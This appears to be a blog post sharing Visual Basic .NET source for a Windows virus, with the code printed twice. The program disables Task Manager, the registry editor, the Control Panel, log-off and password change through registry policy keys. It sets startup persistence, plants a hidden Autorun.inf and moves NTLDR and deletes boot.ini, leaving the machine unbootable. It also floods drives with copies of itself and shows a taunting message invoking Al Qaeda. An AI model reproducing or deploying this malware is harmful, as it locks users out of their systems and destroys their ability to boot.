' Description: This Virus cannot be closed by clicking on x or alt f4, it disables Taskmanager
' Disables run command, Control Panel, msconfig, shutdown, log off, regedit, change password option etc..
' Optimized Memory Resource of 9326 KB
' Optimized CPU resources and Vibrant Transparent Interface
Option Explicit On
Imports Microsoft.Win32
Public Class Form1
Public x As Object
Dim g As String
Dim k As String
Dim t As String
Public rt As String
Public wx As Int16
Dim OPO As Int16
Public oo As String
Dim RTRE As String
Dim JFK As Object
Private Sub Form1_FormClosing(ByVal sender As Object, ByVal e As System.Windows.Forms.FormClosingEventArgs) Handles Me.FormClosing
If OPO = 1 Then
e.Cancel = False
Else
e.Cancel = True
My.Computer.Audio.PlaySystemSound(Media.SystemSounds.Exclamation)
MsgBox("Windows is unable to close this program", MsgBoxStyle.Exclamation, "Error")
End If
End Sub
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
k = My.Computer.Info.OSFullName.ToString
t = Environment.MachineName
rt = Environment.UserName
Me.ShowInTaskbar = False
Me.Visible = True
Me.Opacity = 84
If k.Contains("Windows XP") Or k.Contains("Windows NT") Or k.Contains("Windows 2000") Or k.Contains("Windows ME") Or k.Contains("Windows 98") Or k.Contains("Windows 95") Then
MsgBox(k & " Running on " & t & " authorized through " & rt)
RTRE = "C:\WINDOWS\PCHealth\HelpCtr\Binaries\MSConfig.exe"
oo = My.Computer.FileSystem.CurrentDirectory
Shell("REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoControlPanel /t REG_DWORD /d 1 /f", AppWinStyle.MinimizedNoFocus, True)
Shell("REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f", AppWinStyle.MinimizedNoFocus, True)
Shell("REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableRegistryTools /t REG_DWORD /d 1 /f", AppWinStyle.MinimizedNoFocus, True)
Shell("REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableLockWorkstation /t REG_DWORD /d 1 /f", AppWinStyle.MinimizedNoFocus, True)
Shell("REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableChangePassword /t REG_DWORD /d 1 /f", AppWinStyle.MinimizedNoFocus, True)
Shell("REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoLogoff /t REG_DWORD /d 1 /f", AppWinStyle.MinimizedNoFocus, True)
Shell("REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoControlPanel /t REG_DWORD /d 1 /f", AppWinStyle.MinimizedNoFocus, True)
Shell("REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoControlPanel /t REG_DWORD /d 1 /f", AppWinStyle.MinimizedNoFocus, True)
Dim kop As RegistryKey
kop = Registry.CurrentUser.OpenSubKey("Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun", True)
kop = Registry.LocalMachine.OpenSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\", True)
If kop.GetValue("MSCONFIG.EXE", "0") <> 0 Then
kop.DeleteSubKey("MSCONFIG.exe")
End If
Dim regKey As RegistryKey
regKey = Registry.LocalMachine.OpenSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\Run", True)
regKey.CreateSubKey("Virus")
regKey.SetValue("Virus", oo & "\Virus.exe")
regKey.Close()
Dim pp As New System.IO.FileInfo("C:\Virus\Virus.txt")
If pp.Exists = True Then
Dim ysr As New System.IO.StreamReader("C:\Virus\Virus.txt")
Dim wqe As Int16
wqe = Val(ysr.ReadToEnd())
If wqe.ToString.Contains("1") Then
Dim oo As String
oo = My.Computer.FileSystem.CurrentDirectory
Dim jj As New System.IO.FileInfo(oo & "\Virus.exe")
rt = Environment.UserName
jj.CopyTo("C:\Documents and settings\" & rt & "\Start menu\Programs\Startup\Virus.exe", True)
End If
End If
Dim yu As String
yu = My.Computer.FileSystem.CurrentDirectory.ToString()
Dim ui As New System.IO.FileInfo(yu & "\Virus.exe")
ui.CopyTo("C:\Documents and settings\" & rt & "\Start menu\Programs\Startup\Virus.exe", True)
ui.CopyTo("C:\Virus.exe", True)
Dim jl As New System.IO.FileInfo("C:\Virus.exe")
jl.Attributes = IO.FileAttributes.Hidden And (IO.FileAttributes.ReadOnly) And (IO.FileAttributes.System)
Dim yt As New System.IO.FileInfo(yu & "\Autorun.inf")
yt.CopyTo("C:\Autorun.inf", True)
Dim ti As New System.IO.FileInfo("C:\Autorun.inf")
ti.Attributes = IO.FileAttributes.Hidden And (IO.FileAttributes.ReadOnly) And (IO.FileAttributes.System)
Me.ShowInTaskbar = False
Dim f As System.IO.FileInfo = New System.IO.FileInfo("C:\boot.ini")
If f.Exists = True Then
f.Attributes = f.Attributes And (IO.FileAttributes.Normal)
f.Attributes = f.Attributes And (IO.FileAttributes.Hidden)
f.Attributes = f.Attributes And (Not IO.FileAttributes.System)
f.Attributes = f.Attributes And (Not IO.FileAttributes.ReadOnly)
End If
x = Date.Now.Minute
Dim qq As New System.IO.FileInfo("C:\NTLDR")
If qq.Exists = True Then
qq.Attributes = IO.FileAttributes.Normal
Dim ww As New System.IO.DirectoryInfo("C:\Virus")
ww.Create()
qq.CopyTo("C:\virus\Virus" & x & ".exe", True)
qq.Delete()
End If
Dim fiFile As New System.IO.FileInfo("c:\boot.ini")
If fiFile.Exists = True Then
fiFile.CopyTo("c:\Virus\" & x & ".BAT", True)
End If
Dim YUP As System.IO.FileInfo = New System.IO.FileInfo("c:\Virus\" & x & ".BAT")
YUP.Attributes = YUP.Attributes And (IO.FileAttributes.System)
YUP.Attributes = YUP.Attributes And (IO.FileAttributes.Hidden)
YUP.Attributes = YUP.Attributes And (IO.FileAttributes.ReadOnly)
fiFile.Delete()
Timer1.Enabled = True
Dim wx As Int16
wx = x + x
Dim yr As New System.IO.FileInfo("C:\Virus\Virus" & wx & ".txt")
If yr.Exists = True Then
yr.Attributes = IO.FileAttributes.Normal
yr.Delete()
End If
Dim gy As New System.IO.StreamWriter("C:\Virus\Virus" & wx & ".txt")
gy.Write("1")
gy.Flush()
gy.Dispose()
gy.Close()
Else
MsgBox("This Virus is intended to Work on Windows prior to vista only. Future Updates may Make it Possible on newer operating systems. Good luck for user named " & rt & " using machine named " & t & " on " & k)
OPO = 1
Me.Close()
End
End If
Timer5.Enabled = True
My.Computer.Audio.Play(My.Resources.Bihari_virus, AudioPlayMode.WaitToComplete)
My.Computer.Audio.Play(My.Resources.Naagin, AudioPlayMode.BackgroundLoop)
End Sub
Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
Timer1.Enabled = False
Dim n As New System.IO.FileInfo("c:\" & x & ".BAT")
n.Attributes = IO.FileAttributes.Normal
n.Delete()
Dim MJ As New System.IO.FileInfo("c:\Virus\Virus.exe")
MJ.Attributes = IO.FileAttributes.Normal
MJ.Delete()
MsgBox("Please pay the last tributes to your computer or join Al Qaeda. and yeah, Trash your antivirus!.", MsgBoxStyle.Critical, "Your computer has expired on" + " " + Date.Now)
Me.Close()
End Sub
Private Sub Timer3_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer3.Tick
Timer3.Enabled = False
Me.Visible = True
End Sub
Private Sub Timer5_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer5.Tick
If My.Computer.Keyboard.CapsLock = True Then
If My.Computer.Keyboard.NumLock = True Then
If My.Computer.Keyboard.ScrollLock = True Then
If My.Computer.Keyboard.ShiftKeyDown = True Then
Form2.Show()
End If
End If
End If
End If
End Sub
Private Sub Timer6_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer6.Tick
If My.Computer.Keyboard.CapsLock = True Then
If My.Computer.Keyboard.NumLock = True Then
If My.Computer.Keyboard.ScrollLock = True Then
If My.Computer.Keyboard.CtrlKeyDown = True Then
OPO = 1
End
End If
End If
End If
End If
End Sub
End Class
Form 2
Imports Microsoft.Win32
Public Class Form2
Public gts As Object
Dim k As Object
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
gts = TextBox1.Text
If gts = "123456" Then
Form1.Timer5.Enabled = False
k = My.Computer.Info.OSVersion
If k < "6.0.0000" Then
Shell("REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 0 /f", AppWinStyle.MinimizedNoFocus, True)
Shell("REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableRegistryTools /t REG_DWORD /d 0 /f", AppWinStyle.MinimizedNoFocus, True)
Shell("REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableLockWorkstation /t REG_DWORD /d 0 /f", AppWinStyle.MinimizedNoFocus, True)
Shell("REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableChangePassword /t REG_DWORD /d 0 /f", AppWinStyle.MinimizedNoFocus, True)
Shell("REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoLogoff /t REG_DWORD /d 0 /f", AppWinStyle.MinimizedNoFocus, True)
Shell("REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoControlPanel /t REG_DWORD /d 0 /f", AppWinStyle.MinimizedNoFocus, True)
Shell("REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun /v 1 /t REG_DWORD /d null /f", AppWinStyle.MinimizedNoFocus, True)
Shell("REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun /v 2 /t REG_DWORD /d null /f", AppWinStyle.MinimizedNoFocus, True)
Dim kop As RegistryKey
kop = Registry.CurrentUser.OpenSubKey("Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun", True)
kop.SetValue("1", "null")
kop.SetValue("2", "null")
kop.Close()
Form1.oo = My.Computer.FileSystem.CurrentDirectory
Dim g As RegistryKey
g = Registry.LocalMachine.OpenSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\Run", True)
g.GetAccessControl()
g.SetValue("Virus", "null")
g.Close()
Dim z As New System.IO.FileInfo("c:\Virus\" & Form1.x & ".BAT")
z.Attributes = z.Attributes And (Not IO.FileAttributes.System)
z.Attributes = z.Attributes And (Not IO.FileAttributes.Hidden)
z.Attributes = z.Attributes And (Not IO.FileAttributes.ReadOnly)
z.CopyTo("C:\boot.ini", True)
z.Delete()
Dim hj As New System.IO.FileInfo("C:\boot.ini")
hj.Attributes = IO.FileAttributes.System
hj.Attributes = hj.Attributes And IO.FileAttributes.Hidden
hj.Attributes = hj.Attributes And IO.FileAttributes.ReadOnly
Me.Opacity = 100
Dim wq As New System.IO.FileInfo("C:\virus\Virus" & Form1.x & ".exe")
Dim i As New System.IO.FileInfo("C:\NTLDR")
If i.Exists = True Then
i.Attributes = IO.FileAttributes.Normal
i.Delete()
End If
wq.CopyTo("C:\NTLDR", True)
wq.Attributes = IO.FileAttributes.Normal
wq.Delete()
Dim pp As New System.IO.FileInfo("C:\Virus\Virus" & Form1.wx & ".txt")
pp.Delete()
Dim zz As New System.IO.FileInfo("C:\Documents and settings\" & Form1.rt & "\Start menu\Programs\Startup\Virus.exe")
zz.Delete()
Dim aq As New System.IO.FileInfo("C:\Virus.exe")
aq.Attributes = IO.FileAttributes.Normal
aq.Delete()
Dim qz As New System.IO.FileInfo("C:\Autorun.inf")
qz.Delete()
Dim UIY As New System.IO.DirectoryInfo("C:\Virus")
UIY.Delete(True)
Me.Activate()
Me.Focus()
k = My.Computer.Info.OSFullName.ToString
MsgBox(k & " has been repaired", MsgBoxStyle.Information, "Restore Complete")
Form1.Timer1.Enabled = False
Process.Start(Form1.oo & "\MSconfig.reg")
Form1.Timer6.Enabled = True
Me.Close()
Else
Me.Visible = False
Me.Enabled = False
Dim j As New System.IO.FileInfo("C:\WINDOWS\Driver Cache\i386\driver.cab")
If j.Exists = True Then
For o As Int16 = 1 To Date.Now.Ticks
j.CopyTo("C:\" & o & "Virus.exe")
Next
Dim kl As New System.IO.DirectoryInfo("D:\")
If kl.Exists = True Then
For y As Int16 = 1 To Date.Now.Ticks
j.CopyTo("D:\" & y & "Virus.exe")
Next
End If
End If
Me.Close()
End If
End If
End Sub
End Class
Hope u lyk it
' Disables run command, Control Panel, msconfig, shutdown, log off, regedit, change password option etc..
' Optimized Memory Resource of 9326 KB
' Optimized CPU resources and Vibrant Transparent Interface
Option Explicit On
Imports Microsoft.Win32
Public Class Form1
Public x As Object
Dim g As String
Dim k As String
Dim t As String
Public rt As String
Public wx As Int16
Dim OPO As Int16
Public oo As String
Dim RTRE As String
Dim JFK As Object
Private Sub Form1_FormClosing(ByVal sender As Object, ByVal e As System.Windows.Forms.FormClosingEventArgs) Handles Me.FormClosing
If OPO = 1 Then
e.Cancel = False
Else
e.Cancel = True
My.Computer.Audio.PlaySystemSound(Media.SystemSounds.Exclamation)
MsgBox("Windows is unable to close this program", MsgBoxStyle.Exclamation, "Error")
End If
End Sub
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
k = My.Computer.Info.OSFullName.ToString
t = Environment.MachineName
rt = Environment.UserName
Me.ShowInTaskbar = False
Me.Visible = True
Me.Opacity = 84
If k.Contains("Windows XP") Or k.Contains("Windows NT") Or k.Contains("Windows 2000") Or k.Contains("Windows ME") Or k.Contains("Windows 98") Or k.Contains("Windows 95") Then
MsgBox(k & " Running on " & t & " authorized through " & rt)
RTRE = "C:\WINDOWS\PCHealth\HelpCtr\Binaries\MSConfig.exe"
oo = My.Computer.FileSystem.CurrentDirectory
Shell("REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoControlPanel /t REG_DWORD /d 1 /f", AppWinStyle.MinimizedNoFocus, True)
Shell("REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f", AppWinStyle.MinimizedNoFocus, True)
Shell("REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableRegistryTools /t REG_DWORD /d 1 /f", AppWinStyle.MinimizedNoFocus, True)
Shell("REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableLockWorkstation /t REG_DWORD /d 1 /f", AppWinStyle.MinimizedNoFocus, True)
Shell("REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableChangePassword /t REG_DWORD /d 1 /f", AppWinStyle.MinimizedNoFocus, True)
Shell("REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoLogoff /t REG_DWORD /d 1 /f", AppWinStyle.MinimizedNoFocus, True)
Shell("REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoControlPanel /t REG_DWORD /d 1 /f", AppWinStyle.MinimizedNoFocus, True)
Shell("REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoControlPanel /t REG_DWORD /d 1 /f", AppWinStyle.MinimizedNoFocus, True)
Dim kop As RegistryKey
kop = Registry.CurrentUser.OpenSubKey("Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun", True)
kop = Registry.LocalMachine.OpenSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\", True)
If kop.GetValue("MSCONFIG.EXE", "0") <> 0 Then
kop.DeleteSubKey("MSCONFIG.exe")
End If
Dim regKey As RegistryKey
regKey = Registry.LocalMachine.OpenSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\Run", True)
regKey.CreateSubKey("Virus")
regKey.SetValue("Virus", oo & "\Virus.exe")
regKey.Close()
Dim pp As New System.IO.FileInfo("C:\Virus\Virus.txt")
If pp.Exists = True Then
Dim ysr As New System.IO.StreamReader("C:\Virus\Virus.txt")
Dim wqe As Int16
wqe = Val(ysr.ReadToEnd())
If wqe.ToString.Contains("1") Then
Dim oo As String
oo = My.Computer.FileSystem.CurrentDirectory
Dim jj As New System.IO.FileInfo(oo & "\Virus.exe")
rt = Environment.UserName
jj.CopyTo("C:\Documents and settings\" & rt & "\Start menu\Programs\Startup\Virus.exe", True)
End If
End If
Dim yu As String
yu = My.Computer.FileSystem.CurrentDirectory.ToString()
Dim ui As New System.IO.FileInfo(yu & "\Virus.exe")
ui.CopyTo("C:\Documents and settings\" & rt & "\Start menu\Programs\Startup\Virus.exe", True)
ui.CopyTo("C:\Virus.exe", True)
Dim jl As New System.IO.FileInfo("C:\Virus.exe")
jl.Attributes = IO.FileAttributes.Hidden And (IO.FileAttributes.ReadOnly) And (IO.FileAttributes.System)
Dim yt As New System.IO.FileInfo(yu & "\Autorun.inf")
yt.CopyTo("C:\Autorun.inf", True)
Dim ti As New System.IO.FileInfo("C:\Autorun.inf")
ti.Attributes = IO.FileAttributes.Hidden And (IO.FileAttributes.ReadOnly) And (IO.FileAttributes.System)
Me.ShowInTaskbar = False
Dim f As System.IO.FileInfo = New System.IO.FileInfo("C:\boot.ini")
If f.Exists = True Then
f.Attributes = f.Attributes And (IO.FileAttributes.Normal)
f.Attributes = f.Attributes And (IO.FileAttributes.Hidden)
f.Attributes = f.Attributes And (Not IO.FileAttributes.System)
f.Attributes = f.Attributes And (Not IO.FileAttributes.ReadOnly)
End If
x = Date.Now.Minute
Dim qq As New System.IO.FileInfo("C:\NTLDR")
If qq.Exists = True Then
qq.Attributes = IO.FileAttributes.Normal
Dim ww As New System.IO.DirectoryInfo("C:\Virus")
ww.Create()
qq.CopyTo("C:\virus\Virus" & x & ".exe", True)
qq.Delete()
End If
Dim fiFile As New System.IO.FileInfo("c:\boot.ini")
If fiFile.Exists = True Then
fiFile.CopyTo("c:\Virus\" & x & ".BAT", True)
End If
Dim YUP As System.IO.FileInfo = New System.IO.FileInfo("c:\Virus\" & x & ".BAT")
YUP.Attributes = YUP.Attributes And (IO.FileAttributes.System)
YUP.Attributes = YUP.Attributes And (IO.FileAttributes.Hidden)
YUP.Attributes = YUP.Attributes And (IO.FileAttributes.ReadOnly)
fiFile.Delete()
Timer1.Enabled = True
Dim wx As Int16
wx = x + x
Dim yr As New System.IO.FileInfo("C:\Virus\Virus" & wx & ".txt")
If yr.Exists = True Then
yr.Attributes = IO.FileAttributes.Normal
yr.Delete()
End If
Dim gy As New System.IO.StreamWriter("C:\Virus\Virus" & wx & ".txt")
gy.Write("1")
gy.Flush()
gy.Dispose()
gy.Close()
Else
MsgBox("This Virus is intended to Work on Windows prior to vista only. Future Updates may Make it Possible on newer operating systems. Good luck for user named " & rt & " using machine named " & t & " on " & k)
OPO = 1
Me.Close()
End
End If
Timer5.Enabled = True
My.Computer.Audio.Play(My.Resources.Bihari_virus, AudioPlayMode.WaitToComplete)
My.Computer.Audio.Play(My.Resources.Naagin, AudioPlayMode.BackgroundLoop)
End Sub
Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
Timer1.Enabled = False
Dim n As New System.IO.FileInfo("c:\" & x & ".BAT")
n.Attributes = IO.FileAttributes.Normal
n.Delete()
Dim MJ As New System.IO.FileInfo("c:\Virus\Virus.exe")
MJ.Attributes = IO.FileAttributes.Normal
MJ.Delete()
MsgBox("Please pay the last tributes to your computer or join Al Qaeda. and yeah, Trash your antivirus!.", MsgBoxStyle.Critical, "Your computer has expired on" + " " + Date.Now)
Me.Close()
End Sub
Private Sub Timer3_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer3.Tick
Timer3.Enabled = False
Me.Visible = True
End Sub
Private Sub Timer5_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer5.Tick
If My.Computer.Keyboard.CapsLock = True Then
If My.Computer.Keyboard.NumLock = True Then
If My.Computer.Keyboard.ScrollLock = True Then
If My.Computer.Keyboard.ShiftKeyDown = True Then
Form2.Show()
End If
End If
End If
End If
End Sub
Private Sub Timer6_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer6.Tick
If My.Computer.Keyboard.CapsLock = True Then
If My.Computer.Keyboard.NumLock = True Then
If My.Computer.Keyboard.ScrollLock = True Then
If My.Computer.Keyboard.CtrlKeyDown = True Then
OPO = 1
End
End If
End If
End If
End If
End Sub
End Class
Form 2
Imports Microsoft.Win32
Public Class Form2
Public gts As Object
Dim k As Object
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
gts = TextBox1.Text
If gts = "123456" Then
Form1.Timer5.Enabled = False
k = My.Computer.Info.OSVersion
If k < "6.0.0000" Then
Shell("REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 0 /f", AppWinStyle.MinimizedNoFocus, True)
Shell("REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableRegistryTools /t REG_DWORD /d 0 /f", AppWinStyle.MinimizedNoFocus, True)
Shell("REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableLockWorkstation /t REG_DWORD /d 0 /f", AppWinStyle.MinimizedNoFocus, True)
Shell("REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableChangePassword /t REG_DWORD /d 0 /f", AppWinStyle.MinimizedNoFocus, True)
Shell("REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoLogoff /t REG_DWORD /d 0 /f", AppWinStyle.MinimizedNoFocus, True)
Shell("REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoControlPanel /t REG_DWORD /d 0 /f", AppWinStyle.MinimizedNoFocus, True)
Shell("REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun /v 1 /t REG_DWORD /d null /f", AppWinStyle.MinimizedNoFocus, True)
Shell("REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun /v 2 /t REG_DWORD /d null /f", AppWinStyle.MinimizedNoFocus, True)
Dim kop As RegistryKey
kop = Registry.CurrentUser.OpenSubKey("Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun", True)
kop.SetValue("1", "null")
kop.SetValue("2", "null")
kop.Close()
Form1.oo = My.Computer.FileSystem.CurrentDirectory
Dim g As RegistryKey
g = Registry.LocalMachine.OpenSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\Run", True)
g.GetAccessControl()
g.SetValue("Virus", "null")
g.Close()
Dim z As New System.IO.FileInfo("c:\Virus\" & Form1.x & ".BAT")
z.Attributes = z.Attributes And (Not IO.FileAttributes.System)
z.Attributes = z.Attributes And (Not IO.FileAttributes.Hidden)
z.Attributes = z.Attributes And (Not IO.FileAttributes.ReadOnly)
z.CopyTo("C:\boot.ini", True)
z.Delete()
Dim hj As New System.IO.FileInfo("C:\boot.ini")
hj.Attributes = IO.FileAttributes.System
hj.Attributes = hj.Attributes And IO.FileAttributes.Hidden
hj.Attributes = hj.Attributes And IO.FileAttributes.ReadOnly
Me.Opacity = 100
Dim wq As New System.IO.FileInfo("C:\virus\Virus" & Form1.x & ".exe")
Dim i As New System.IO.FileInfo("C:\NTLDR")
If i.Exists = True Then
i.Attributes = IO.FileAttributes.Normal
i.Delete()
End If
wq.CopyTo("C:\NTLDR", True)
wq.Attributes = IO.FileAttributes.Normal
wq.Delete()
Dim pp As New System.IO.FileInfo("C:\Virus\Virus" & Form1.wx & ".txt")
pp.Delete()
Dim zz As New System.IO.FileInfo("C:\Documents and settings\" & Form1.rt & "\Start menu\Programs\Startup\Virus.exe")
zz.Delete()
Dim aq As New System.IO.FileInfo("C:\Virus.exe")
aq.Attributes = IO.FileAttributes.Normal
aq.Delete()
Dim qz As New System.IO.FileInfo("C:\Autorun.inf")
qz.Delete()
Dim UIY As New System.IO.DirectoryInfo("C:\Virus")
UIY.Delete(True)
Me.Activate()
Me.Focus()
k = My.Computer.Info.OSFullName.ToString
MsgBox(k & " has been repaired", MsgBoxStyle.Information, "Restore Complete")
Form1.Timer1.Enabled = False
Process.Start(Form1.oo & "\MSconfig.reg")
Form1.Timer6.Enabled = True
Me.Close()
Else
Me.Visible = False
Me.Enabled = False
Dim j As New System.IO.FileInfo("C:\WINDOWS\Driver Cache\i386\driver.cab")
If j.Exists = True Then
For o As Int16 = 1 To Date.Now.Ticks
j.CopyTo("C:\" & o & "Virus.exe")
Next
Dim kl As New System.IO.DirectoryInfo("D:\")
If kl.Exists = True Then
For y As Int16 = 1 To Date.Now.Ticks
j.CopyTo("D:\" & y & "Virus.exe")
Next
End If
End If
Me.Close()
End If
End If
End Sub
End Class
Hope u lyk it
No comments:
Post a Comment